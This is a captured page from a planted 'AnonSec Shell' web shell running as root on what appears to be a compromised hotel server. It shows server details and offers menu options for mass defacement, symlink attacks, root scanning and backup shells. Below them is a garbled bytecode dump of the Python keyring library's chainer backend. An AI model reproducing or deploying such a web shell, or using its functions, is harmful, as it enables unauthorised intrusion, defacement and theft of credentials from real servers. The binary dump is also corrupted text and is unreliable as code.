AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/keyring/backends/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/keyring/backends/__pycache__/chainer.cpython-310.pyc
o

���a��@s>dZddlmZddlmZddlmZGdd�dej�ZdS)	zV
Keyring Chainer - iterates over other viable backends to
discover passwords in each.
�)�backend)�
properties�)�failc@sXeZdZdZdZejedd���Zejedd���Z	dd�Z
d	d
�Zdd�Zd
d�Z
dS)�ChainerBackendzZ
    >>> ChainerBackend()
    <keyring.backends.chainer.ChainerBackend object at ...>
    TcCst|j�dkr	dStjjdS)z�
        If there are backends to chain, high priority
        Otherwise very low priority since our operation when empty
        is the same as null.
        r�
)�len�backendsr�Keyring�priority)�cls�r
�:/usr/lib/python3/dist-packages/keyring/backends/chainer.pyrszChainerBackend.prioritycCs&dd�}t|t���}t|tjdd�S)z5
        Discover all keyrings for chaining.
        cSs(tjpt}t|t�o||�o|jdkS)N�)r�_limit�bool�
isinstancerr)�keyring�limitr
r
r�allow&s
��z&ChainerBackend.backends.<locals>.allowT)�key�reverse)�filterr�get_all_keyring�sorted�by_priority)rr�allowedr
r
rr	szChainerBackend.backendscC�,|jD]}|�||�}|dur|SqdS�N)r	�get_password)�self�service�usernamer�passwordr
r
rr1�
��zChainerBackend.get_passwordc	Cs6|jD]}z
|�|||�WStyYqwdSr)r	�set_password�NotImplementedError)r r!r"r#rr
r
rr%7s
��zChainerBackend.set_passwordc	Cs4|jD]}z	|�||�WStyYqwdSr)r	�delete_passwordr&)r r!r"rr
r
rr'>s
��zChainerBackend.delete_passwordcCrr)r	�get_credential)r r!r"r�
credentialr
r
rr(Er$zChainerBackend.get_credentialN)�__name__�
__module__�__qualname__�__doc__�viabler�
ClassProperty�classmethodrr	rr%r'r(r
r
r
rrsrN)r-�r�utilrr�KeyringBackendrr
r
r
r�<module>s


Anon7 - 2022
AnonSec Team